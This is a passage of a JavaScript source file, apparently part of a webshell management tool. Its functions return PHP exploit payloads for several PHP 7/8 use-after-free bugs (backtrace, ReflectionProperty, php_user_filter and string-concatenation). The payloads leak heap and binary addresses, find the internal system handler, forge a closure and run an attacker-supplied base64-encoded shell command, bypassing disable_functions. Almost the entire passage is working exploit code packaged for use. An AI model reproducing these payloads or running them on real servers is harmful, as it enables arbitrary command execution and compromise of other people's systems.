$p_vaddr : $base + $p_vaddr; 941 | $data_size = $p_memsz; 942 | } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec 943 | $text_size = $p_memsz; 944 | } 945 | } 946 | 947 | if(!$data_addr || !$text_size || !$data_size) 948 | return false; 949 | 950 | return [$data_addr, $text_size, $data_size]; 951 | } 952 | 953 | function get_basic_funcs($base, $elf) { 954 | list($data_addr, $text_size, $data_size) = $elf; 955 | for($i = 0; $i < $data_size / 8; $i++) { 956 | $leak = leak($data_addr, $i * 8); 957 | if($leak - $base > 0 && $leak - $base < $data_addr - $base) { 958 | $deref = leak($leak); 959 | # 'constant' constant check 960 | if($deref != 0x746e6174736e6f63) 961 | continue; 962 | } else continue; 963 | 964 | $leak = leak($data_addr, ($i + 4) * 8); 965 | if($leak - $base > 0 && $leak - $base < $data_addr - $base) { 966 | $deref = leak($leak); 967 | # 'bin2hex' constant check 968 | if($deref != 0x786568326e6962) 969 | continue; 970 | } else continue; 971 | 972 | return $data_addr + $i * 8; 973 | } 974 | } 975 | 976 | function get_binary_base($binary_leak) { 977 | $base = 0; 978 | $start = $binary_leak & 0xfffffffffffff000; 979 | for($i = 0; $i < 0x1000; $i++) { 980 | $addr = $start - 0x1000 * $i; 981 | $leak = leak($addr, 0, 7); 982 | if($leak == 0x10102464c457f) { # ELF header 983 | return $addr; 984 | } 985 | } 986 | } 987 | 988 | function get_system($basic_funcs) { 989 | $addr = $basic_funcs; 990 | do { 991 | $f_entry = leak($addr); 992 | $f_name = leak($f_entry, 0, 6); 993 | 994 | if($f_name == 0x6d6574737973) { # system 995 | return leak($addr + 8); 996 | } 997 | $addr += 0x20; 998 | } while($f_entry != 0); 999 | return false; 1000 | } 1001 | 1002 | function trigger_uaf($arg) { 1003 | # str_shuffle prevents opcache string interning 1004 | $arg = str_shuffle(str_repeat('A', 79)); 1005 | $vuln = new Vuln(); 1006 | $vuln->a = $arg; 1007 | } 1008 | 1009 | if(stristr(PHP_OS, 'WIN')) { 1010 | die('This PoC is for *nix systems only.'); 1011 | } 1012 | 1013 | $n_alloc = 10; # increase this value if UAF fails 1014 | $contiguous = []; 1015 | for($i = 0; $i < $n_alloc; $i++) 1016 | $contiguous[] = str_shuffle(str_repeat('A', 79)); 1017 | 1018 | trigger_uaf('x'); 1019 | $abc = $backtrace[1]['args'][0]; 1020 | 1021 | $helper = new Helper; 1022 | $helper->b = function ($x) { }; 1023 | 1024 | if(strlen($abc) == 79 || strlen($abc) == 0) { 1025 | die("UAF failed"); 1026 | } 1027 | $closure_handlers = str2ptr($abc, 0); 1028 | $php_heap = str2ptr($abc, 0x58); 1029 | $abc_addr = $php_heap - 0xc8; 1030 | 1031 | 1032 | write($abc, 0x60, 2); 1033 | write($abc, 0x70, 6); 1034 | 1035 | write($abc, 0x10, $abc_addr + 0x60); 1036 | write($abc, 0x18, 0xa); 1037 | 1038 | $closure_obj = str2ptr($abc, 0x20); 1039 | 1040 | $binary_leak = leak($closure_handlers, 8); 1041 | if(!($base = get_binary_base($binary_leak))) { 1042 | die("Couldn't determine binary base address"); 1043 | } 1044 | 1045 | if(!($elf = parse_elf($base))) { 1046 | die("Couldn't parse ELF header"); 1047 | } 1048 | 1049 | if(!($basic_funcs = get_basic_funcs($base, $elf))) { 1050 | die("Couldn't get basic_functions address"); 1051 | } 1052 | 1053 | if(!($zif_system = get_system($basic_funcs))) { 1054 | die("Couldn't get zif_system address"); 1055 | } 1056 | 1057 | $fake_obj_offset = 0xd0; 1058 | for($i = 0; $i < 0x110; $i += 8) { 1059 | write($abc, $fake_obj_offset + $i, leak($closure_obj, $i)); 1060 | } 1061 | 1062 | write($abc, 0x20, $abc_addr + $fake_obj_offset); 1063 | write($abc, 0xd0 + 0x38, 1, 4); # internal func type 1064 | write($abc, 0xd0 + 0x68, $zif_system); # internal func handler 1065 | 1066 | ($helper->b)($cmd); 1067 | } 1068 | if(substr("${bin}",0,1)== "/") { 1069 | pwn("${bin} -c \\\"".@base64_decode("${Buffer.from(cmd).toString('base64')}")."\\\""); 1070 | }else{ 1071 | pwn("${bin} /c \\\"".@base64_decode("${Buffer.from(cmd).toString('base64')}")."\\\""); 1072 | } 1073 | `; 1074 | }, 1075 | PHP7_ReflectionProperty_UAF_EXP(bin, cmd){ 1076 | return ` 1077 | global $abc, $helper; 1078 | class Test { 1079 | public HelperHelperHelperHelperHelperHelperHelper $prop; 1080 | } 1081 | class HelperHelperHelperHelperHelperHelperHelper { 1082 | public $a, $b; 1083 | } 1084 | function s2n($str) { 1085 | $address = 0; 1086 | for ($i=0;$i<4;$i++){ 1087 | $address <<= 8; 1088 | $address |= ord($str[4 + $i]); 1089 | } 1090 | return $address; 1091 | } 1092 | function s2b($str, $offset){ 1093 | return hex2bin(str_pad(dechex(s2n($str) + $offset - 0x10), 8, "0", 1094 | STR_PAD_LEFT)); 1095 | } 1096 | function leak($offset) { 1097 | global $abc; 1098 | $data = ""; 1099 | for ($i = 0;$i < 8;$i++){ 1100 | $data .= $abc[$offset + 7 - $i]; 1101 | } 1102 | return $data; 1103 | } 1104 | function leak2($address) { 1105 | global $helper; 1106 | write(0x20, $address); 1107 | $leak = strlen($helper->b); 1108 | $leak = dechex($leak); 1109 | $leak = str_pad($leak, 16, "0", STR_PAD_LEFT); 1110 | $leak = hex2bin($leak); 1111 | return $leak; 1112 | } 1113 | function write($offset, $data) { 1114 | global $abc; 1115 | $data = str_pad($data, 8, "\\x00", STR_PAD_LEFT); 1116 | for ($i = 0;$i < 8;$i++){ 1117 | $abc[$offset + $i] = $data[7 - $i]; 1118 | } 1119 | } 1120 | function get_basic_funcs($std_object_handlers) { 1121 | $prefix = substr($std_object_handlers, 0, 4); 1122 | $std_object_handlers = hexdec(bin2hex($std_object_handlers)); 1123 | $start = $std_object_handlers & 0x00000000fffff000 | 0x0000000000000920; # change 0x920 if finding failed 1124 | $NumPrefix = $std_object_handlers & 0x0000ffffff000000; 1125 | $NumPrefix = $NumPrefix - 0x0000000001000000; 1126 | $funcs = get_defined_functions()['internal']; 1127 | for($i = 0; $i < 0x1000; $i++) { 1128 | $addr = $start - 0x1000 * $i; 1129 | $name_addr = bin2hex(leak2($prefix . hex2bin(str_pad(dechex($addr - 0x10), 8, 1130 | "0", STR_PAD_LEFT)))); 1131 | if (hexdec($name_addr) > $std_object_handlers || hexdec($name_addr) < $NumPrefix) 1132 | { 1133 | continue; 1134 | } 1135 | $name_addr = str_pad($name_addr, 16, "0", STR_PAD_LEFT); 1136 | $name = strrev(leak2($prefix . s2b(hex2bin($name_addr), 0x00))); 1137 | $name = explode("\\x00", $name)[0]; 1138 | if(in_array($name, $funcs)) { 1139 | return [$name, bin2hex($prefix) . str_pad(dechex($addr), 8, "0", STR_PAD_LEFT), 1140 | $std_object_handlers, $NumPrefix]; 1141 | } 1142 | } 1143 | } 1144 | function getSystem($unknown_func) { 1145 | $unknown_addr = hex2bin($unknown_func[1]); 1146 | $prefix = substr($unknown_addr, 0, 4); 1147 | $unknown_addr = hexdec($unknown_func[1]); 1148 | $start = $unknown_addr & 0x00000000ffffffff; 1149 | for($i = 0;$i < 0x800;$i++) { 1150 | $addr = $start - 0x20 * $i; 1151 | $name_addr = bin2hex(leak2($prefix . hex2bin(str_pad(dechex($addr - 0x10), 8, 1152 | "0", STR_PAD_LEFT)))); 1153 | if (hexdec($name_addr) > $unknown_func[2] || hexdec($name_addr) < 1154 | $unknown_func[3]) { 1155 | continue; 1156 | } 1157 | $name_addr = str_pad($name_addr, 16, "0", STR_PAD_LEFT); 1158 | $name = strrev(leak2($prefix . s2b(hex2bin($name_addr), 0x00))); 1159 | if(strstr($name, "system")) { 1160 | return bin2hex(leak2($prefix . hex2bin(str_pad(dechex($addr - 0x10 + 0x08), 8, 1161 | "0", STR_PAD_LEFT)))); 1162 | } 1163 | } 1164 | for($i = 0;$i < 0x800;$i++) { 1165 | $addr = $start + 0x20 * $i; 1166 | $name_addr = bin2hex(leak2($prefix . hex2bin(str_pad(dechex($addr - 0x10), 8, 1167 | "0", STR_PAD_LEFT)))); 1168 | if (hexdec($name_addr) > $unknown_func[2] || hexdec($name_addr) < 1169 | $unknown_func[3]) { 1170 | continue; 1171 | } 1172 | $name_addr = str_pad($name_addr, 16, "0", STR_PAD_LEFT); 1173 | $name = strrev(leak2($prefix . s2b(hex2bin($name_addr), 0x00))); 1174 | if(strstr($name, "system")) { 1175 | return bin2hex(leak2($prefix . hex2bin(str_pad(dechex($addr - 0x10 + 0x08), 8, 1176 | "0", STR_PAD_LEFT)))); 1177 | } 1178 | } 1179 | } 1180 | $rp = new ReflectionProperty(Test::class, 'prop'); 1181 | $test = new Test; 1182 | $test -> prop = new HelperHelperHelperHelperHelperHelperHelper; 1183 | $abc = $rp -> getType() -> getName(); 1184 | $helper = new HelperHelperHelperHelperHelperHelperHelper(); 1185 | if (strlen($abc) < 1000) { 1186 | exit("UAF Failed!"); 1187 | } 1188 | $helper -> a = $helper; 1189 | $php_heap = leak(0x10); 1190 | $helper -> a = function($x){}; 1191 | $std_object_handlers = leak(0x0); 1192 | $prefix = substr($php_heap, 0, 4); 1193 | //echo "Helper Object Address: " . bin2hex($php_heap) . "\\n"; 1194 | //echo "std_object_handlers Address: " . bin2hex($std_object_handlers) . "\\n"; 1195 | $closure_object = leak(0x10); 1196 | //echo "Closure Object: " . bin2hex($closure_object) . "\\n"; 1197 | write(0x28, "\\x06"); 1198 | if(!($unknown_func = get_basic_funcs($std_object_handlers))) { 1199 | die("Couldn't determine funcs address"); 1200 | } 1201 | //echo "Find func's adress: " . $unknown_func[1] . " -> " . $unknown_func[0] . "\\n"; 1202 | if(!($system_address = getSystem($unknown_func))) { 1203 | die("Couldn't determine system address"); 1204 | } 1205 | //echo "Find system's handler: " . $system_address . "\\n"; 1206 | for ($i = 0;$i < (0x130 / 0x08);$i++) { 1207 | write(0x308 + 0x08 * ($i + 1), leak2($prefix . s2b($closure_object, 0x08 * 1208 | $i))); 1209 | } 1210 | $abc[0x308 + 0x40] = "\\x01"; 1211 | write(0x308 + 0x70, hex2bin($system_address)); 1212 | write(0x10, $prefix . hex2bin(dechex(s2n($php_heap) + 0x18 + 0x308 + 0x08))); 1213 | //echo "Fake Closure Object Address: " . bin2hex($prefix . hex2bin(str_pad(dechex(s2n($php_heap) + 0x18 + 0x308 + 0x08), 8, "0", STR_PAD_LEFT))) . "\\n"; 1214 | if(substr("${bin}",0,1)== "/") { 1215 | ($helper -> a)("${bin} -c \\\"".@base64_decode("${Buffer.from(cmd).toString('base64')}")."\\\""); 1216 | }else{ 1217 | ($helper -> a)("${bin} /c \\\"".@base64_decode("${Buffer.from(cmd).toString('base64')}")."\\\""); 1218 | } 1219 | `; 1220 | }, 1221 | PHP7_UserFilter_EXP(bin, cmd) { 1222 | return ` 1223 | function pwn($cmd) { 1224 | define('LOGGING', false); 1225 | define('CHUNK_DATA_SIZE', 0x60); 1226 | define('CHUNK_SIZE', ZEND_DEBUG_BUILD ? CHUNK_DATA_SIZE + 0x20 : CHUNK_DATA_SIZE); 1227 | define('FILTER_SIZE', ZEND_DEBUG_BUILD ? 0x70 : 0x50); 1228 | define('STRING_SIZE', CHUNK_DATA_SIZE - 0x18 - 1); 1229 | define('CMD', $cmd); 1230 | for($i = 0; $i < 10; $i++) { 1231 | $groom[] = Pwn::alloc(STRING_SIZE); 1232 | } 1233 | stream_filter_register('pwn_filter', 'Pwn'); 1234 | $fd = fopen('php://memory', 'w'); 1235 | stream_filter_append($fd,'pwn_filter'); 1236 | fwrite($fd, 'x'); 1237 | } 1238 | class Helper { public $a, $b, $c; } 1239 | class Pwn extends php_user_filter { 1240 | private $abc, $abc_addr; 1241 | private $helper, $helper_addr, $helper_off; 1242 | private $uafp, $hfp; 1243 | public function filter($in, $out, &$consumed, $closing) { 1244 | if($closing) return; 1245 | stream_bucket_make_writeable($in); 1246 | $this->filtername = Pwn::alloc(STRING_SIZE); 1247 | fclose($this->stream); 1248 | $this->go(); 1249 | return PSFS_PASS_ON; 1250 | } 1251 | private function go() { 1252 | $this->abc = &$this->filtername; 1253 | $this->make_uaf_obj(); 1254 | $this->helper = new Helper; 1255 | $this->helper->b = function($x) {}; 1256 | $this->helper_addr = $this->str2ptr(CHUNK_SIZE * 2 - 0x18) - CHUNK_SIZE * 2; 1257 | $this->log("helper @ 0x%x", $this->helper_addr); 1258 | $this->abc_addr = $this->helper_addr - CHUNK_SIZE; 1259 | $this->log("abc @ 0x%x", $this->abc_addr); 1260 | $this->helper_off = $this->helper_addr - $this->abc_addr - 0x18; 1261 | $helper_handlers = $this->str2ptr(CHUNK_SIZE); 1262 | $this->log("helper handlers @ 0x%x", $helper_handlers); 1263 | $this->prepare_leaker(); 1264 | $binary_leak = $this->read($helper_handlers + 8); 1265 | $this->log("binary leak @ 0x%x", $binary_leak); 1266 | $this->prepare_cleanup($binary_leak); 1267 | $closure_addr = $this->str2ptr($this->helper_off + 0x38); 1268 | $this->log("real closure @ 0x%x", $closure_addr); 1269 | $closure_ce = $this->read($closure_addr + 0x10); 1270 | $this->log("closure class_entry @ 0x%x", $closure_ce); 1271 | $basic_funcs = $this->get_basic_funcs($closure_ce); 1272 | $this->log("basic_functions @ 0x%x", $basic_funcs); 1273 | $zif_system = $this->get_system($basic_funcs); 1274 | $this->log("zif_system @ 0x%x", $zif_system); 1275 | $fake_closure_off = $this->helper_off + CHUNK_SIZE * 2; 1276 | for($i = 0; $i < 0x138; $i += 8) { 1277 | $this->write($fake_closure_off + $i, $this->read($closure_addr + $i)); 1278 | } 1279 | $this->write($fake_closure_off + 0x38, 1, 4); 1280 | $handler_offset = PHP_MAJOR_VERSION === 8 ? 0x70 : 0x68; 1281 | $this->write($fake_closure_off + $handler_offset, $zif_system); 1282 | $fake_closure_addr = $this->helper_addr + $fake_closure_off - $this->helper_off; 1283 | $this->write($this->helper_off + 0x38, $fake_closure_addr); 1284 | $this->log("fake closure @ 0x%x", $fake_closure_addr); 1285 | $this->cleanup(); 1286 | ($this->helper->b)(CMD); 1287 | } 1288 | private function make_uaf_obj() { 1289 | $this->uafp = fopen('php://memory', 'w'); 1290 | fwrite($this->uafp, pack('QQQ', 1, 0, 0xDEADBAADC0DE)); 1291 | for($i = 0; $i < STRING_SIZE; $i++) { 1292 | fwrite($this->uafp, "\\x00"); 1293 | } 1294 | } 1295 | private function prepare_leaker() { 1296 | $str_off = $this->helper_off + CHUNK_SIZE + 8; 1297 | $this->write($str_off, 2); 1298 | $this->write($str_off + 0x10, 6); 1299 | $val_off = $this->helper_off + 0x48; 1300 | $this->write($val_off, $this->helper_addr + CHUNK_SIZE + 8); 1301 | $this->write($val_off + 8, 0xA); 1302 | } 1303 | private function prepare_cleanup($binary_leak) { 1304 | $ret_gadget = $binary_leak; 1305 | do { 1306 | --$ret_gadget; 1307 | } while($this->read($ret_gadget, 1) !== 0xC3); 1308 | $this->log("ret gadget = 0x%x", $ret_gadget); 1309 | $this->write(0, $this->abc_addr + 0x20 - (PHP_MAJOR_VERSION === 8 ? 0x50 : 0x60)); 1310 | $this->write(8, $ret_gadget); 1311 | } 1312 | private function read($addr, $n = 8) { 1313 | $this->write($this->helper_off + CHUNK_SIZE + 16, $addr - 0x10); 1314 | $value = strlen($this->helper->c); 1315 | if($n !== 8) { $value &= (1 << ($n << 3)) - 1; } 1316 | return $value; 1317 | } 1318 | private function write($p, $v, $n = 8) { 1319 | for($i = 0; $i < $n; $i++) { 1320 | $this->abc[$p + $i] = chr($v & 0xff); 1321 | $v >>= 8; 1322 | } 1323 | } 1324 | private function get_basic_funcs($addr) { 1325 | while(true) { 1326 | $addr -= 0x10; 1327 | if($this->read($addr, 4) === 0xA8 && 1328 | in_array($this->read($addr + 4, 4), 1329 | [20151012, 20160303, 20170718, 20180731, 20190902, 20200930])) { 1330 | $module_name_addr = $this->read($addr + 0x20); 1331 | $module_name = $this->read($module_name_addr); 1332 | if($module_name === 0x647261646e617473) { 1333 | $this->log("standard module @ 0x%x", $addr); 1334 | return $this->read($addr + 0x28); 1335 | } 1336 | } 1337 | } 1338 | } 1339 | private function get_system($basic_funcs) { 1340 | $addr = $basic_funcs; 1341 | do { 1342 | $f_entry = $this->read($addr); 1343 | $f_name = $this->read($f_entry, 6); 1344 | if($f_name === 0x6d6574737973) { 1345 | return $this->read($addr + 8); 1346 | } 1347 | $addr += 0x20; 1348 | } while($f_entry !== 0); 1349 | } 1350 | private function cleanup() { 1351 | $this->hfp = fopen('php://memory', 'w'); 1352 | fwrite($this->hfp, pack('QQ', 0, $this->abc_addr)); 1353 | for($i = 0; $i < FILTER_SIZE - 0x10; $i++) { 1354 | fwrite($this->hfp, "\\x00"); 1355 | } 1356 | } 1357 | private function str2ptr($p = 0, $n = 8) { 1358 | $address = 0; 1359 | for($j = $n - 1; $j >= 0; $j--) { 1360 | $address <<= 8; 1361 | $address |= ord($this->abc[$p + $j]); 1362 | } 1363 | return $address; 1364 | } 1365 | private function ptr2str($ptr, $n = 8) { 1366 | $out = ''; 1367 | for ($i = 0; $i < $n; $i++) { 1368 | $out .= chr($ptr & 0xff); 1369 | $ptr >>= 8; 1370 | } 1371 | return $out; 1372 | } 1373 | private function log($format, $val = '') { 1374 | if(LOGGING) { 1375 | printf("{$format}\\n", $val); 1376 | } 1377 | } 1378 | static function alloc($size) { 1379 | return str_shuffle(str_repeat('A', $size)); 1380 | } 1381 | } 1382 | if(substr("${bin}",0,1)== "/") { 1383 | pwn("${bin} -c \\\"".@base64_decode("${Buffer.from(cmd).toString('base64')}")."\\\""); 1384 | } else { 1385 | pwn("${bin} /c \\\"".@base64_decode("${Buffer.from(cmd).toString('base64')}")."\\\""); 1386 | } 1387 | `; 1388 | }, 1389 | PHP_CONCAT_UAF_EXP(bin, cmd) { 1390 | return ` 1391 | class Helper { public $a, $b, $c; } 1392 | class Pwn { 1393 | const LOGGING = false; 1394 | const CHUNK_DATA_SIZE = 0x60; 1395 | const CHUNK_SIZE = ZEND_DEBUG_BUILD ? self::CHUNK_DATA_SIZE + 0x20 : self::CHUNK_DATA_SIZE; 1396 | const STRING_SIZE = self::CHUNK_DATA_SIZE - 0x18 - 1; 1397 | const HT_SIZE = 0x118; 1398 | const HT_STRING_SIZE = self::HT_SIZE - 0x18 - 1; 1399 | public function __construct($cmd) { 1400 | for($i = 0; $i < 10; $i++) { 1401 | $groom[] = self::alloc(self::STRING_SIZE); 1402 | $groom[] = self::alloc(self::HT_STRING_SIZE); 1403 | } 1404 | $concat_str_addr = self::str2ptr($this->heap_leak(), 16); 1405 | $fill = self::alloc(self::STRING_SIZE); 1406 | $this->abc = self::alloc(self::STRING_SIZE); 1407 | $abc_addr = $concat_str_addr + self::CHUNK_SIZE; 1408 | self::log("abc @ 0x%x", $abc_addr); 1409 | $this->free($abc_addr); 1410 | $this->helper = new Helper; 1411 | if(strlen($this->abc) < 0x1337) { 1412 | self::log("uaf failed"); 1413 | return; 1414 | } 1415 | $this->helper->a = "leet"; 1416 | $this->helper->b = function($x) {}; 1417 | $this->helper->c = 0xfeedface; 1418 | $helper_handlers = $this->rel_read(0); 1419 | self::log("helper handlers @ 0x%x", $helper_handlers); 1420 | $closure_addr = $this->rel_read(0x20); 1421 | self::log("real closure @ 0x%x", $closure_addr); 1422 | $closure_ce = $this->read($closure_addr + 0x10); 1423 | self::log("closure class_entry @ 0x%x", $closure_ce); 1424 | $basic_funcs = $this->get_basic_funcs($closure_ce); 1425 | self::log("basic_functions @ 0x%x", $basic_funcs); 1426 | $zif_system = $this->get_system($basic_funcs); 1427 | self::log("zif_system @ 0x%x", $zif_system); 1428 | $fake_closure_off = 0x70; 1429 | for($i = 0; $i < 0x138; $i += 8) { 1430 | $this->rel_write($fake_closure_off + $i, $this->read($closure_addr + $i)); 1431 | } 1432 | $this->rel_write($fake_closure_off + 0x38, 1, 4); 1433 | $handler_offset = PHP_MAJOR_VERSION === 8 ? 0x70 : 0x68; 1434 | $this->rel_write($fake_closure_off + $handler_offset, $zif_system); 1435 | 1436 | $fake_closure_addr = $abc_addr + $fake_closure_off + 0x18; 1437 | self::log("fake closure @ 0x%x", $fake_closure_addr); 1438 | 1439 | $this->rel_write(0x20, $fake_closure_addr); 1440 | ($this->helper->b)($cmd); 1441 | 1442 | $this->rel_write(0x20, $closure_addr); 1443 | unset($this->helper->b); 1444 | } 1445 | private function heap_leak() { 1446 | $arr = [[], []]; 1447 | set_error_handler(function() use (&$arr, &$buf) { 1448 | $arr = 1; 1449 | $buf = str_repeat("\\x00", self::HT_STRING_SIZE); 1450 | }); 1451 | $arr[1] .= self::alloc(self::STRING_SIZE - strlen("Array")); 1452 | return $buf; 1453 | } 1454 | private function free($addr) { 1455 | $payload = pack("Q*", 0xdeadbeef, 0xcafebabe, $addr); 1456 | $payload .= str_repeat("A", self::HT_STRING_SIZE - strlen($payload)); 1457 | 1458 | $arr = [[], []]; 1459 | set_error_handler(function() use (&$arr, &$buf, &$payload) { 1460 | $arr = 1; 1461 | $buf = str_repeat($payload, 1); 1462 | }); 1463 | $arr[1] .= "x"; 1464 | } 1465 | private function rel_read($offset) { 1466 | return self::str2ptr($this->abc, $offset); 1467 | } 1468 | private function rel_write($offset, $value, $n = 8) { 1469 | for ($i = 0; $i < $n; $i++) { 1470 | $this->abc[$offset + $i] = chr($value & 0xff); 1471 | $value >>= 8; 1472 | } 1473 | } 1474 | private function read($addr, $n = 8) { 1475 | $this->rel_write(0x10, $addr - 0x10); 1476 | $value = strlen($this->helper->a); 1477 | if($n !== 8) { $value &= (1 << ($n << 3)) - 1; } 1478 | return $value; 1479 | } 1480 | private function get_system($basic_funcs) { 1481 | $addr = $basic_funcs; 1482 | do { 1483 | $f_entry = $this->read($addr); 1484 | $f_name = $this->read($f_entry, 6); 1485 | if($f_name === 0x6d6574737973) { 1486 | return $this->read($addr + 8); 1487 | } 1488 | $addr += 0x20; 1489 | } while($f_entry !== 0); 1490 | } 1491 | private function get_basic_funcs($addr) { 1492 | while(true) { 1493 | $addr -= 0x10; 1494 | if($this->read($addr, 4) === 0xA8 && 1495 | in_array($this->read($addr + 4, 4), 1496 | [20180731, 20190902, 20200930, 20210902])) { 1497 | $module_name_addr = $this->read($addr + 0x20); 1498 | $module_name = $this->read($module_name_addr); 1499 | if($module_name === 0x647261646e617473) { 1500 | self::log("standard module @ 0x%x", $addr); 1501 | return $this->read($addr + 0x28); 1502 | } 1503 | } 1504 | } 1505 | } 1506 | private function log($format, $val = "") { 1507 | if(self::LOGGING) { 1508 | printf("{$format}\\n", $val); 1509 | } 1510 | } 1511 | static function alloc($size) { 1512 | return str_shuffle(str_repeat("A", $size)); 1513 | } 1514 | static function str2ptr($str, $p = 0, $n = 8) { 1515 | $address = 0; 1516 | for($j = $n - 1; $j >= 0; $j--) { 1517 | $address <<= 8; 1518 | $address |= ord($str[$p + $j]); 1519 | } 1520 | return $address; 1521 | } 1522 | }; 1523 | if(substr("${bin}",0,1)== "/") { 1524 | new Pwn("${bin} -c \\\"".@base64_decode("${Buffer.from(cmd).toString('base64')}")."\\\""); 1525 | } else { 1526 | new Pwn("${bin} /c \\\"".@base64_decode("${Buffer.from(cmd).toString('base64')}")."\\\""); 1527 | }`.replace(/\n\s+?/g, '');; 1528 | } 1529 | 1530 | } --------------------------------------------------------------------------------